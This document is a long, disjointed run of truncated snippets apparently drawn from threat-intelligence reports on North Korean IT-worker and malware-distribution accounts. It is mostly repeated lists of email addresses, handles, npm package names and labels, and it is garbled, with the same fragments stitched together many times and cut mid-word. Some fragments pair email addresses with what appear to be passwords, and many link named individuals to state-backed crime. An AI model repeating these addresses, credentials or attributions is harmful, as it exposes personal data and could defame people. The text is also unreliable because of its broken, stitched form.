ossargd@xuseca.cloud pandaroyal48@outlook.com patterson.ariel@outlook.com pattersonariel988@gmail.com patrickweberman@outlook.com pavlovainerman@gmail.com…","…hub Payoneer account External 🟢 Confirmed b2bms@outlook.com PC-1234 Payoneer account External 🟢 Confirmed pandora.llc@outlook.com PC-1234 Payoneer account External 🟢 Confirmed noor.llc@outlook.com PC-1234 Payoneer account External 🟢 Confirmed…","…developer accounts Year in Review oleksandrbokii963@gmail.com email malware N/A N/A DPRK malware developer accounts Year in Review paniker1110@gmail.com email malware N/A N/A DPRK malware developer accounts Year in Review rubenbolanos19733@gmail.com email malware N/A N/A DPRK malware…","…developer accounts Year in Review corresol28@outlook.com email malware N/A N/A DPRK malware developer accounts Year in Review paniker1110@outlook.com email malware N/A N/A DPRK malware developer accounts Year in Review walterjgould77@gmail.com email malware N/A N/A DPRK malware…","…97@gmail.com oxankaorb@gmail.com p.rango@outlook.com pa.causa121@gmail.com pababravo@gmail.com pandadev0610@gmail.com pandajr9719@gmail.com paramountsky9990@gmail.com parketech88030+3@gmail.com parketech88030@gmail.com passionatedev0317@gmail.com passionatedev210@gmail.com passiondev0503@gmail.com passion…","…Publisher email appclaw 2026-04-17 live registry atddevs@gmail.com argonflux 2026-04-19 live registry parirani9524@gmail.com bigint.os 2026-04-13 live registry a.yal.a.da.ve7@gmail.com bign.tsm 2026-04-01 live registry…","…a.causa121@gmail.com pababravo@gmail.com pandadev0610@gmail.com pandajr9719@gmail.com paramountsky9990@gmail.com parketech88030+3@gmail.com parketech88030@gmail.com passionatedev0317@gmail.com passionatedev210@gmail.com passiondev0503@gmail.com passiondragon0413@gmail.com paul.krumme14163@gmail.com paul…","…jupiter.softdev@gmail.com - larastar721@gmail.com - laravguru@gmail.com - light.oa17@gmail.com - mmarjs22@gmail.com - partneremail@gmail.com - sp0t.s3@outlook.com - spot.jk7@gmail.com - mhcrocky@gmail.com - teacheraccount@gmail.com - thinkd.developer@gmail.com -…","…JonathonF1010@outlook.com khardenjenna510727@outlook.com kukurudza339@gmail.com leowestbcqni01653@outlook.com pascaldev0921@outlook.com reedfowlerccouj11583@hotmail.com topflite4@freyaglam.shop vrindalseth@gmail.com yelyzavetazaporozhtseva@gmail.com…","…bravo@gmail.com pandadev0610@gmail.com pandajr9719@gmail.com paramountsky9990@gmail.com parketech88030+3@gmail.com parketech88030@gmail.com passionatedev0317@gmail.com passionatedev210@gmail.com passiondev0503@gmail.com passiondragon0413@gmail.com paul.krumme14163@gmail.com paul.richard66ds@gmail.com paule…","…@gmail.com pandajr9719@gmail.com paramountsky9990@gmail.com parketech88030+3@gmail.com parketech88030@gmail.com passionatedev0317@gmail.com passionatedev210@gmail.com passiondev0503@gmail.com passiondragon0413@gmail.com paul.krumme14163@gmail.com paul.richard66ds@gmail.com pauleta0126@gmail.com paullyons9…","…l.com paramountsky9990@gmail.com parketech88030+3@gmail.com parketech88030@gmail.com passionatedev0317@gmail.com passionatedev210@gmail.com passiondev0503@gmail.com passiondragon0413@gmail.com paul.krumme14163@gmail.com paul.richard66ds@gmail.com pauleta0126@gmail.com paullyons995@gmail.com paulwilstar1…","…ail.com parketech88030+3@gmail.com parketech88030@gmail.com passionatedev0317@gmail.com passionatedev210@gmail.com passiondev0503@gmail.com passiondragon0413@gmail.com paul.krumme14163@gmail.com paul.richard66ds@gmail.com pauleta0126@gmail.com paullyons995@gmail.com paulwilstar1225@gmail.com pc19960926@gma…","…email insider N/A N/A Git mirror developer identity 2 fahrultect@gmail.com email insider N/A N/A Git mirror developer identity 2 patrickjuniorukutegbe@rocketmail.com email insider N/A N/A Git mirror developer identity 2 fahrultech@gmail.com email insider N/A N/A Git mirror developer identity 2…","…v6.40.2 ( download ) hello.mr.jr29 (hello.mr.jr29@gmail.com) 2026-02-26 10:09:45 undicy-lint v7.23.1 ( download ) patrick.sullivan1896 (patrick.sullivan1896@gmail.com) 2026-02-26 10:05:58 expressjs-lint v5.3.2 ( download ) veryanthony00 (veryanthony00@gmail.com) 2026-02-25 22:31:13 loadash-lint…","…ossargd@xuseca.cloud pandaroyal48@outlook.com patterson.ariel@outlook.com pattersonariel988@gmail.com patrickweberman@outlook.com pavlovainerman@gmail.com peterdwtp525582@hotmail.com perumalbalak727@outlook.com pineye0212@outlook.com…","…ohmlsnwz1502@hotmail.com oliverwilson1976@hotmail.com ossargd@xuseca.cloud pandaroyal48@outlook.com patterson.ariel@outlook.com pattersonariel988@gmail.com patrickweberman@outlook.com pavlovainerman@gmail.com peterdwtp525582@hotmail.com…","…oliverwilson1976@hotmail.com ossargd@xuseca.cloud pandaroyal48@outlook.com patterson.ariel@outlook.com pattersonariel988@gmail.com patrickweberman@outlook.com pavlovainerman@gmail.com peterdwtp525582@hotmail.com perumalbalak727@outlook.com…","A fourteen-post thread on the accounts that worked on Tokamak Network's bridge front end, marketplace and subgraph between November 2023 and February 2025, read as a single cell from the primary account's following list, commit-email forensics, renamed and deleted handles, and account-creation dates clustered within days of each other. Every value here is stated in the thread; post thirteen is the researcher's own address map for the cell. The thread names this account as the primary actor: 508 commits across five Tokamak repositories, committing as pauleta0126@gmail.com, previously the now-deleted dylandev125. Its following list is what the researcher used to enumerate the rest of the cell.","…l.com passionatedev210@gmail.com passiondev0503@gmail.com passiondragon0413@gmail.com paul.krumme14163@gmail.com paul.richard66ds@gmail.com pauleta0126@gmail.com paullyons995@gmail.com paulwilstar1225@gmail.com pc19960926@gmail.com pegasusxnwn@gmail.com peppapig13132@gmail.com perfect.developer329@gm…","…il.com parketech88030@gmail.com passionatedev0317@gmail.com passionatedev210@gmail.com passiondev0503@gmail.com passiondragon0413@gmail.com paul.krumme14163@gmail.com paul.richard66ds@gmail.com pauleta0126@gmail.com paullyons995@gmail.com paulwilstar1225@gmail.com pc19960926@gmail.com pegasusxnwn@gmail.co…","…@gmail.com passiondev0503@gmail.com passiondragon0413@gmail.com paul.krumme14163@gmail.com paul.richard66ds@gmail.com pauleta0126@gmail.com paullyons995@gmail.com paulwilstar1225@gmail.com pc19960926@gmail.com pegasusxnwn@gmail.com peppapig13132@gmail.com perfect.developer329@gmail.com perfectdev226@g…","…Paul Martin / cryptopunk / gru1125 - Pixelcraft (2022) - cryptopunk - paulmartin.io - FeloniousGru-Super - paulmartin-1125.web.app - paulmartin.pm1125@gmail.com - workingnotworking.com/180375-ivar - gru1125 - github.com/FeloniousGru-Super •…","…hotaruemori@gmail.com veerapandianvijai@gmail.com akijohansson116@gmail.com paulmillet0803@gmail.com henryan373@gmail.com wulong.sky@gmail.com saburo.snow@gmail.com stanleyc.sky@gmail.com longx695@gmail.com dragonfighter0120@gmail.com…","…in Review craigsmith93.business@gmail.com email malware N/A October 2025 DPRK malware distributor GitLab.com account Year in Review paulodiego0902@outlook.com email malware N/A October 2025 DPRK malware distributor GitLab.com account Year in Review faelanholtmdjld41341@outlook.com email malware…","….com passionatedev0317@gmail.com passionatedev210@gmail.com passiondev0503@gmail.com passiondragon0413@gmail.com paul.krumme14163@gmail.com paul.richard66ds@gmail.com pauleta0126@gmail.com paullyons995@gmail.com paulwilstar1225@gmail.com pc19960926@gmail.com pegasusxnwn@gmail.com peppapig13132@gmail.com p…","…03@gmail.com passiondragon0413@gmail.com paul.krumme14163@gmail.com paul.richard66ds@gmail.com pauleta0126@gmail.com paullyons995@gmail.com paulwilstar1225@gmail.com pc19960926@gmail.com pegasusxnwn@gmail.com peppapig13132@gmail.com perfect.developer329@gmail.com perfectdev226@gmail.com petepiao1017@gmai…","…email insider N/A N/A Synthetic persona email 2 mirantrkulja@outlook.com email insider N/A N/A Synthetic persona email 2 pavlehristov.work@outlook.com email insider N/A N/A Synthetic persona email 2 vedranpodrug@outlook.com email insider N/A N/A Synthetic persona email 2…","…pandaroyal48@outlook.com patterson.ariel@outlook.com pattersonariel988@gmail.com patrickweberman@outlook.com pavlovainerman@gmail.com peterdwtp525582@hotmail.com perumalbalak727@outlook.com pineye0212@outlook.com plyn_rider@protonmail.com…","…details were exposed aside from the lax testing and development lifecycle. err.log On 4 September 2025, npm user pavlo123123 (pavlovainerman@gmail.com) uploaded some-promise , a package that derives code from the legitimate any-promise package. some-promise comes loaded with a malicious…","…0413@gmail.com paul.krumme14163@gmail.com paul.richard66ds@gmail.com pauleta0126@gmail.com paullyons995@gmail.com paulwilstar1225@gmail.com pc19960926@gmail.com pegasusxnwn@gmail.com peppapig13132@gmail.com perfect.developer329@gmail.com perfectdev226@gmail.com petepiao1017@gmail.com peterbaumann413…","…all from November 21, 2025. GitHub Users: - MahnoorKhushbakht - Emmanuel-bot-rgb - mahnoor Email Addresses: - Emmanuel-bot-rgb <pe699674@gmail.com> Domains: - vscode-helper171.vercel.app - test-assesment-self.vercel.app File…","…repository myselfmail0301@gmail.com Commits to malicious repository nelsonher019@gmail.com Commits to malicious repository pe699674@gmail.com Commits to malicious repository phamminh1309@gmail.com Commits to malicious repository philip@cryptoasis.com Commits to malicious…","…opalqwntfqqp7270@outlook.com openhouserealestateagent27183@gmail.com palmhouserealestate02758@gmail.com peaksummitproperty81546@gmail.com peterandr345@gmail.com ponbok20251123@outlook.com premierhouseagent68861@gmail.com primehomesconnect12973@gmail.com…","…email insider N/A N/A Synthetic persona email 2 novskapetar@gmail.com email insider N/A N/A Synthetic persona email 2 peceyurukov@gmail.com email insider N/A N/A Synthetic persona email 2 nikolamilev166@gmail.com email insider N/A N/A Synthetic persona email 2…","…2 months marko.zrinjanin.uw@gmail.com MarkoZrin Serbia Ireland $50/hour, 40 hours/week 2 weeks Ryang Kwang Min pedro.dev.033@gmail.com PedroGomez Argentina United States $30/hour, 40 hours/week - pedro.dev.033@gmail.com PedroGomez Argentina United…","…cli-pretty-logger 2026-04-01 graph first seen vichevmafaaxe@hotmail.com color-cli-log 2026-04-10 live registry pedrorestiffo@outlook.com cookie-parseflow 2026-04-12 live registry daviecallean_945benedick993@outlook.com coremesh 2026-03-26 graph…","…require authorities to investigate this matter.\" - altpl - jikun - jliao - peezenut - jikun@mygameswap.com - jliao@mygameswap.com - peezenut@gmail.com - t.me/altpl - linkedin.com/in/jikun-liao-794b61162/ - https://vk.com/id578519076 [Archive](https://archive.ph/SWt2n) -…","…rumme14163@gmail.com paul.richard66ds@gmail.com pauleta0126@gmail.com paullyons995@gmail.com paulwilstar1225@gmail.com pc19960926@gmail.com pegasusxnwn@gmail.com peppapig13132@gmail.com perfect.developer329@gmail.com perfectdev226@gmail.com petepiao1017@gmail.com peterbaumann413@gmail.com petrohadzhe…","…paladin-120 - pemba.sherpa5232 - pemba.gelu5232 - pemba.sherpa5232@gmail.com - pemba.gelu5232@gmail.com - github.com/paladin-120 • [Archive](https://archive.ph/nVIz9) - 0xfb5d591e8216f5d0964286f09b1f61114c16aab0 -…","…Gulu - 2024, [Zach's List](https://x.com/zachxbt/status/1824047425822310580) - paladin-120 - pemba.sherpa5232 - pemba.gelu5232 - pemba.sherpa5232@gmail.com - pemba.gelu5232@gmail.com - github.com/paladin-120 • [Archive](https://archive.ph/nVIz9) -…","…a Spanish healthcare group, and a private Austri a-based jet charter company . 132 One of the DPRK actors used the alias “ penygold342@gmail.com ,” which private sector researchers and an MSMT Participating State have linked to Moonstone Sleet’s custom ransomware FakePenny. 133…","…aul.richard66ds@gmail.com pauleta0126@gmail.com paullyons995@gmail.com paulwilstar1225@gmail.com pc19960926@gmail.com pegasusxnwn@gmail.com peppapig13132@gmail.com perfect.developer329@gmail.com perfectdev226@gmail.com petepiao1017@gmail.com peterbaumann413@gmail.com petrohadzheha@gmail.com philip.henr…","…x.com/norocos_cp - x.com/soladify github.com/soladify - x.com/SvenDotDev ### microgift88 / krippsat - microgift88 - percy.smith0208@gmail.com - yeniguy28@gmail.com - microgift28@gmail.com - x.com/microgift88 - t.me/microgift88 (ID: 7928438223) - github.com/microgift -…","…ns995@gmail.com paulwilstar1225@gmail.com pc19960926@gmail.com pegasusxnwn@gmail.com peppapig13132@gmail.com perfect.developer329@gmail.com perfectdev226@gmail.com petepiao1017@gmail.com peterbaumann413@gmail.com petrohadzheha@gmail.com philip.henry.0802@gmail.com philiplee00117@gmail.com pinkcameleon9…","…m pauleta0126@gmail.com paullyons995@gmail.com paulwilstar1225@gmail.com pc19960926@gmail.com pegasusxnwn@gmail.com peppapig13132@gmail.com perfect.developer329@gmail.com perfectdev226@gmail.com petepiao1017@gmail.com peterbaumann413@gmail.com petrohadzheha@gmail.com philip.henry.0802@gmail.com philiplee00117…","…pattersonariel988@gmail.com patrickweberman@outlook.com pavlovainerman@gmail.com peterdwtp525582@hotmail.com perumalbalak727@outlook.com pineye0212@outlook.com plyn_rider@protonmail.com proluka80518@outlook.com quongekitti8vs6cx@hotmail.com…","…tar1225@gmail.com pc19960926@gmail.com pegasusxnwn@gmail.com peppapig13132@gmail.com perfect.developer329@gmail.com perfectdev226@gmail.com petepiao1017@gmail.com peterbaumann413@gmail.com petrohadzheha@gmail.com philip.henry.0802@gmail.com philiplee00117@gmail.com pinkcameleon918@gmail.com piomagiera…","…Year in Review martytowne03@gmail.com email malware N/A August 2025 DPRK malware distributor GitLab.com account Year in Review peter@trovastra.com email malware N/A August 2025 DPRK malware distributor GitLab.com account Year in Review martinez@trovastra.com email malware N/A August…","…openhouserealestateagent27183@gmail.com palmhouserealestate02758@gmail.com peaksummitproperty81546@gmail.com peterandr345@gmail.com ponbok20251123@outlook.com premierhouseagent68861@gmail.com primehomesconnect12973@gmail.com primekeyrealtor09471@gmail.com…","…60926@gmail.com pegasusxnwn@gmail.com peppapig13132@gmail.com perfect.developer329@gmail.com perfectdev226@gmail.com petepiao1017@gmail.com peterbaumann413@gmail.com petrohadzheha@gmail.com philip.henry.0802@gmail.com philiplee00117@gmail.com pinkcameleon918@gmail.com piomagiera@gmail.com pistondragon18@…","…patterson.ariel@outlook.com pattersonariel988@gmail.com patrickweberman@outlook.com pavlovainerman@gmail.com peterdwtp525582@hotmail.com perumalbalak727@outlook.com pineye0212@outlook.com plyn_rider@protonmail.com proluka80518@outlook.com…","…Year in Review martinez@trovastra.com email malware N/A August 2025 DPRK malware distributor GitLab.com account Year in Review peterforward@trovastra.com email malware N/A August 2025 DPRK malware distributor GitLab.com account Year in Review rick.cto@dantelabs.us email malware N/A August…","…email insider N/A N/A Synthetic persona email 2 vlanosdimitri001@outlook.com email insider N/A N/A Synthetic persona email 2 PeterVargova@outlook.com email insider N/A N/A Synthetic persona email 2 vlastimirdeskov001@outlook.com email insider N/A N/A Synthetic persona email 2…","…hexiao33@hotmail.com - hexiao33@mail.ru - hexiao31@mail.ru - hexiao32@mail.ru - hexiao34@mail.ru - 4445313@qq.com - peterzhou0802@gmail.com - kawabatakyo0922@outlook.com - jamesybarra114@gmail.com - jo.hnceballos0716@gmail.com - hughnolan88@gmail.com -…","…xiao33@gmail.com hexiao33@yahoo.com hexiao33@hotmail.com hexiao33@mail.ru hexiao31@mail.ru hexiao32@mail.ru hexiao34@mail.ru 4445313@qq.com peterzhou0802@gmail.com kawabatakyo0922@outlook.com jamesybarra114@gmail.com jo.hnceballos0716@gmail.com hughnolan88@gmail.com deliminallimited.ws@outlook.com gala…","…(ID:7245484067) • ([Messages](./user-7245484067-@janbuidl-@mrcontract17877-@0xtomoon-Jannik-Villostas.txt)) #### Peter Wang - 2025 - petherwang@gmail.com - github.com/hapetherw - x.com/hapetherw - linkedin.com/in/peter-wang-780259a3 - t.me/pethercap (ID: 2124964775, prev: @baymax586) -…","…n@gmail.com peppapig13132@gmail.com perfect.developer329@gmail.com perfectdev226@gmail.com petepiao1017@gmail.com peterbaumann413@gmail.com petrohadzheha@gmail.com philip.henry.0802@gmail.com philiplee00117@gmail.com pinkcameleon918@gmail.com piomagiera@gmail.com pistondragon18@gmail.com pitch.dream96@…","…(jwtradera cluster) - Referred by zhmolly so probably zhmolly alt - pham0315 - pham.t.35 - pt.trung0315 - github.com/pham0315 - pham.t.35@outlook.com - pt.trung0315@gmail.com - ZW4HoVLVCc1m2y9ej7RTyCmXMCHDkdpotiB5ELF9fX2 #### Sadao Elichi / David Adachi / zhmolly - 2025 (jwtradera…","…October 21 and November 10, 2025. GitHub Users: - DAP2506 - yenthanh Email Addresses: - DAP2506 <dapanchal2506@gmail.com> - yenthanh <phamminh1309@gmail.com> Domains: - vscode-helper171.vercel.app File Hashes: ebfaff5c2e9b709c1337e06a756f7ee69fc29d319a27adaafe73eb84d8a43b61 ./beavertail…","…to malicious repository nelsonher019@gmail.com Commits to malicious repository pe699674@gmail.com Commits to malicious repository phamminh1309@gmail.com Commits to malicious repository philip@cryptoasis.com Commits to malicious repository rares.stanciu@outlook.com Commits to malicious…","…Information Extracted from Repository The following contact identifiers were extracted from GoldenDev321 's repository data: Email phantomdev0302@gmail.com Telegram @Ryosuke0302 Discord @Ryosuke0302#1332 Telegram (alt) @phantomdev0302 Discord (alt) @phantomdev0302#7986 2.4 -…","…Solution lists their contact information as Telegram ID doom0302 while Ryosuke Yamamoto lists Telegram ID Ryosuke0302 and email address phantomdev0302@gmail.com.…","…lisettekolson8@gmail.com 312011217@qq.com alhinglovena3000@gmail.com jumphon2103@gmail.com mobilephetjum@gmail.com phetchamphone1998@gmail.com Additional Resources Global Companies Are Unknowingly Paying North Koreans: Here’s How to Catch Them – Unit 42, Palo Alto…","…ourcountry manricvilegas@gmail.com int mastering0429@gmail.com Dragon2002, dragon2002 max.cricle@gmail.com asdasdasd philip.henry.0802@gmail.com 123qwe!@#QWE, hornetqwer q3construction1@gmail.com 123123 rib.armor@gmail.com qweQWE123!@# richbondjames@gmail.com James123,…","…r329@gmail.com perfectdev226@gmail.com petepiao1017@gmail.com peterbaumann413@gmail.com petrohadzheha@gmail.com philip.henry.0802@gmail.com philiplee00117@gmail.com pinkcameleon918@gmail.com piomagiera@gmail.com pistondragon18@gmail.com pitch.dream96@gmail.com pjin7428@gmail.com polarbear030127@gmail.co…","…2026-10-04 hardhat-spack (3.0.2) 2026-10-04 phoebehollowdviqu18367 <phoebehollowdviqu18367@outlook.com> 88d00cec2a6488c81d5080323a4ba81d789ec641345f2d177399cbc0527a74b8 e484c1b37c18a3a329f3fb7ea543d587d8117cea347800dca3ae35ecdff13506…","…mail.com legendaryaladdin@motionassess.com marvel714jm@gmail.com maxwell@gmail.com montessantiago9712@gmail.com mvsolution9@gmail.com phoenixfire471@gmail.com richardkdavis45@gmail.com rockstar96054@gmail.com rodriguezjamesdaniel0807@gmail.com rv882866.hstgr.cloud@glitchmedic.com sinbad@hirel…","…(RECIPIENT) eliteengineer8523@gmail.com (AM) rockstar96954@gmail.com (RC) hundredup2023@gmail.com (TP) phoenixfire471@gmail.com (MM) awesomium430@gmail.com (AU) maestro2819@gmail.com (SI) rodriguezjamesdaniel0807@gmail.com (SI) satoshiyama14@gmail.com…","…niko.sonexarth@gmail.com niko.sonexarth@hotmail.com oscar.vetres127@europe.com oscar.vetres127@gmail.com pinefirst@outlook.com reply9998@gmail.com richard.stewart.1202@gmail.com richard.stewart.1202@outlook.com sniper_bruce@outlook.com…","…patrickweberman@outlook.com pavlovainerman@gmail.com peterdwtp525582@hotmail.com perumalbalak727@outlook.com pineye0212@outlook.com plyn_rider@protonmail.com proluka80518@outlook.com quongekitti8vs6cx@hotmail.com quintonverdantgsbxf26081@hotmail.com…","…226@gmail.com petepiao1017@gmail.com peterbaumann413@gmail.com petrohadzheha@gmail.com philip.henry.0802@gmail.com philiplee00117@gmail.com pinkcameleon918@gmail.com piomagiera@gmail.com pistondragon18@gmail.com pitch.dream96@gmail.com pjin7428@gmail.com polarbear030127@gmail.com poonhaorui@gmail.com pop…","…vsk@gmail.com savonik.alina00@gmail.com purplestrawberrymilk@gmail.com yellowstrawberrymilk@gmail.com bluestrawberrymilk1025@gmail.com pinkstrawberrymilk1025@gmail.com luis.gamez1004@gmail.com cliff.luo226@gmail.com semochkomaksym@gmail.com sun.james1025@gmail.com coolguy.arber09@gmail.com arber.beri…","…@gmail.com peterbaumann413@gmail.com petrohadzheha@gmail.com philip.henry.0802@gmail.com philiplee00117@gmail.com pinkcameleon918@gmail.com piomagiera@gmail.com pistondragon18@gmail.com pitch.dream96@gmail.com pjin7428@gmail.com polarbear030127@gmail.com poonhaorui@gmail.com pop.runner88@gmail.com p…","…email insider N/A N/A Synthetic persona email 2 dominik.wojk@outlook.com email insider N/A N/A Synthetic persona email 2 piotrglowacki.pol@outlook.com email insider N/A N/A Synthetic persona email 2 leonzielinski.pol@outlook.com email insider N/A N/A Synthetic persona email 2…","…supermutec11@outlook.com[email protected] supermutec12@outlook.com[email protected] pisoft314@gmail.com[email protected] IPs: --------------------------------- 183.182.105.91 Contact Us Email:…","…Russia) Emails: --------------------------------- thongloundevsoft717@gmail.com supermutec11@outlook.com supermutec12@outlook.com pisoft314@gmail.com IPs: --------------------------------- 183.182.105.91 Contact Us Email: chollima_group@proton.me Phone:…","…nn413@gmail.com petrohadzheha@gmail.com philip.henry.0802@gmail.com philiplee00117@gmail.com pinkcameleon918@gmail.com piomagiera@gmail.com pistondragon18@gmail.com pitch.dream96@gmail.com pjin7428@gmail.com polarbear030127@gmail.com poonhaorui@gmail.com pop.runner88@gmail.com popescufv1021@gmail.com po…","…heha@gmail.com philip.henry.0802@gmail.com philiplee00117@gmail.com pinkcameleon918@gmail.com piomagiera@gmail.com pistondragon18@gmail.com pitch.dream96@gmail.com pjin7428@gmail.com polarbear030127@gmail.com poonhaorui@gmail.com pop.runner88@gmail.com popescufv1021@gmail.com popstar0126@gmail.com pops…","…nry.0802@gmail.com philiplee00117@gmail.com pinkcameleon918@gmail.com piomagiera@gmail.com pistondragon18@gmail.com pitch.dream96@gmail.com pjin7428@gmail.com polarbear030127@gmail.com poonhaorui@gmail.com pop.runner88@gmail.com popescufv1021@gmail.com popstar0126@gmail.com popstar0982@gmail.com p…","…Year in Review maurostaver9@gmail.com email malware N/A September 2025 DPRK malware distributor GitLab.com account Year in Review pleasemeup214@gmail.com email malware N/A September 2025 DPRK malware distributor GitLab.com account Year in Review vitalii214.ilnytskyi@gmail.com email malware…","…pavlovainerman@gmail.com peterdwtp525582@hotmail.com perumalbalak727@outlook.com pineye0212@outlook.com plyn_rider@protonmail.com proluka80518@outlook.com quongekitti8vs6cx@hotmail.com quintonverdantgsbxf26081@hotmail.com ramirezhector9299@gmail.com…","…email insider N/A N/A Threat actor-controlled email 1 paku_2018@yahoo.co.jp email insider N/A N/A Threat actor-controlled email 1 pohs0131@gmail.com email insider N/A N/A Threat actor-controlled email 1 r_gi_19950603@hotmail.com email insider N/A N/A Threat actor-controlled email 1…","…philiplee00117@gmail.com pinkcameleon918@gmail.com piomagiera@gmail.com pistondragon18@gmail.com pitch.dream96@gmail.com pjin7428@gmail.com polarbear030127@gmail.com poonhaorui@gmail.com pop.runner88@gmail.com popescufv1021@gmail.com popstar0126@gmail.com popstar0982@gmail.com potterharry1106@gmail.com p…","…Accounts: polaris1004@outlook.com[email protected] , vanguardSat@outlook.com[email protected] , assasinSat@outlook.com[email protected] ,…","…palmhouserealestate02758@gmail.com peaksummitproperty81546@gmail.com peterandr345@gmail.com ponbok20251123@outlook.com premierhouseagent68861@gmail.com primehomesconnect12973@gmail.com primekeyrealtor09471@gmail.com…","…inkcameleon918@gmail.com piomagiera@gmail.com pistondragon18@gmail.com pitch.dream96@gmail.com pjin7428@gmail.com polarbear030127@gmail.com poonhaorui@gmail.com pop.runner88@gmail.com popescufv1021@gmail.com popstar0126@gmail.com popstar0982@gmail.com potterharry1106@gmail.com prettyblueberry52702@g…","…m pistondragon18@gmail.com pitch.dream96@gmail.com pjin7428@gmail.com polarbear030127@gmail.com poonhaorui@gmail.com pop.runner88@gmail.com popescufv1021@gmail.com popstar0126@gmail.com popstar0982@gmail.com potterharry1106@gmail.com prettyblueberry52702@gmail.com prettywebdev0105@gmail.com prfsnape123…","…email insider N/A N/A Synthetic persona email 2 teoantunovic6@gmail.com email insider N/A N/A Synthetic persona email 2 popovicjelena727@gmail.com email insider N/A N/A Synthetic persona email 2 vaskovdime@gmail.com email insider N/A N/A Synthetic persona email 2…","…com piomagiera@gmail.com pistondragon18@gmail.com pitch.dream96@gmail.com pjin7428@gmail.com polarbear030127@gmail.com poonhaorui@gmail.com pop.runner88@gmail.com popescufv1021@gmail.com popstar0126@gmail.com popstar0982@gmail.com potterharry1106@gmail.com prettyblueberry52702@gmail.com prettywebdev01…","…om pitch.dream96@gmail.com pjin7428@gmail.com polarbear030127@gmail.com poonhaorui@gmail.com pop.runner88@gmail.com popescufv1021@gmail.com popstar0126@gmail.com popstar0982@gmail.com potterharry1106@gmail.com prettyblueberry52702@gmail.com prettywebdev0105@gmail.com prfsnape123456@gmail.com princepo…","….com pjin7428@gmail.com polarbear030127@gmail.com poonhaorui@gmail.com pop.runner88@gmail.com popescufv1021@gmail.com popstar0126@gmail.com popstar0982@gmail.com potterharry1106@gmail.com prettyblueberry52702@gmail.com prettywebdev0105@gmail.com prfsnape123456@gmail.com princepopov6@gmail.com pro.dev…","…Another known NKITW using the email address pororo940616@pt.net[email protected] .kp .…","…Another known NKITW using the email address pororo940616@pt.net.kp .…","…mirakulizicc@gmail.com: Novus Tech LLC --- ## Merlin Dex ### pos-ninja - Haruto Y. - https://github.com/pos-ninja - posninja1008@gmail.com - https://www.upwork.com/freelancers/~018609ed7cb64e85f8 - https://github.com/devlord0114 - \"BlockChain Engineer\" and \"Certified…","…newstable / Jaycee Tran / Sasuke Uchiha - Jaycee Tran - Sasuke Uchiha - jayceetran.cool@gmail.com - special.galaxy26@gmail.com - potter0525james@gmail.com - zoelasa1111@gmail.com - it.galaxy.0315@gmail.com - sasuke031026@gmail.com - f99964995@gmail.com - github.com/newstable -…","…special.galaxy26@gmail.com[email protected] potter0525james@gmail.com[email protected] zoelasa1111@gmail.com[email protected] it.galaxy.0315@gmail.com[email protected]…","…(Jaycee Tran/Sasuke Uchiha): --------------------------------------------- Emails: jayceetran.cool@gmail.com special.galaxy26@gmail.com potter0525james@gmail.com zoelasa1111@gmail.com it.galaxy.0315@gmail.com sasuke031026@gmail.com f99964995@gmail.com Github: https://github.com/newstable https://git…","…m polarbear030127@gmail.com poonhaorui@gmail.com pop.runner88@gmail.com popescufv1021@gmail.com popstar0126@gmail.com popstar0982@gmail.com potterharry1106@gmail.com prettyblueberry52702@gmail.com prettywebdev0105@gmail.com prfsnape123456@gmail.com princepopov6@gmail.com pro.dev.004.930@gmail.com prodev0…","…palmhouserealestate02758@gmail.com peaksummitproperty81546@gmail.com peterandr345@gmail.com ponbok20251123@outlook.com premierhouseagent68861@gmail.com primehomesconnect12973@gmail.com primekeyrealtor09471@gmail.com primelocationagent63672@gmail.com prorealtyguide02229@gmail.com…","…list is also available as a CSV . Persona Type Value Notes Name Preston Ellis Fake recruiter, reported by Kirill Popov Email prestonellis97@gmail.com Fake recruiter LinkedIn name Miguel Urias Profile used by the recruiter, possibly stolen or impersonated Delivery Type Value…","…m poonhaorui@gmail.com pop.runner88@gmail.com popescufv1021@gmail.com popstar0126@gmail.com popstar0982@gmail.com potterharry1106@gmail.com prettyblueberry52702@gmail.com prettywebdev0105@gmail.com prfsnape123456@gmail.com princepopov6@gmail.com pro.dev.004.930@gmail.com prodev0119@gmail.com prodev0322@gmail.…","…er88@gmail.com popescufv1021@gmail.com popstar0126@gmail.com popstar0982@gmail.com potterharry1106@gmail.com prettyblueberry52702@gmail.com prettywebdev0105@gmail.com prfsnape123456@gmail.com princepopov6@gmail.com pro.dev.004.930@gmail.com prodev0119@gmail.com prodev0322@gmail.com prodev0817@gmail.com pr…","…1@gmail.com popstar0126@gmail.com popstar0982@gmail.com potterharry1106@gmail.com prettyblueberry52702@gmail.com prettywebdev0105@gmail.com prfsnape123456@gmail.com princepopov6@gmail.com pro.dev.004.930@gmail.com prodev0119@gmail.com prodev0322@gmail.com prodev0817@gmail.com professiondev0706@gmail.com…","…peaksummitproperty81546@gmail.com peterandr345@gmail.com ponbok20251123@outlook.com premierhouseagent68861@gmail.com primehomesconnect12973@gmail.com primekeyrealtor09471@gmail.com primelocationagent63672@gmail.com prorealtyguide02229@gmail.com…","…peterandr345@gmail.com ponbok20251123@outlook.com premierhouseagent68861@gmail.com primehomesconnect12973@gmail.com primekeyrealtor09471@gmail.com primelocationagent63672@gmail.com prorealtyguide02229@gmail.com propertyadvisor36515278@gmail.com…","…ponbok20251123@outlook.com premierhouseagent68861@gmail.com primehomesconnect12973@gmail.com primekeyrealtor09471@gmail.com primelocationagent63672@gmail.com prorealtyguide02229@gmail.com propertyadvisor36515278@gmail.com propertyconsultant48888@gmail.com…","…mail.com popstar0982@gmail.com potterharry1106@gmail.com prettyblueberry52702@gmail.com prettywebdev0105@gmail.com prfsnape123456@gmail.com princepopov6@gmail.com pro.dev.004.930@gmail.com prodev0119@gmail.com prodev0322@gmail.com prodev0817@gmail.com professiondev0706@gmail.com proflogardner@gmail.co…","…persistence not seen in the earlier campaign. Date Event 2026-04-10 sleek-pretty@1.0.0 published to npm by probull02 ( pro.bull02@outlook.com ); C2 domain mywalletsss.store active Who is targeted The direct targets are developers building automated trading bots on Polymarket…","…ail.com potterharry1106@gmail.com prettyblueberry52702@gmail.com prettywebdev0105@gmail.com prfsnape123456@gmail.com princepopov6@gmail.com pro.dev.004.930@gmail.com prodev0119@gmail.com prodev0322@gmail.com prodev0817@gmail.com professiondev0706@gmail.com proflogardner@gmail.com profreelancer222@gmail.c…","…ail.com prettyblueberry52702@gmail.com prettywebdev0105@gmail.com prfsnape123456@gmail.com princepopov6@gmail.com pro.dev.004.930@gmail.com prodev0119@gmail.com prodev0322@gmail.com prodev0817@gmail.com professiondev0706@gmail.com proflogardner@gmail.com profreelancer222@gmail.com programmermh1@gmai…","…ry52702@gmail.com 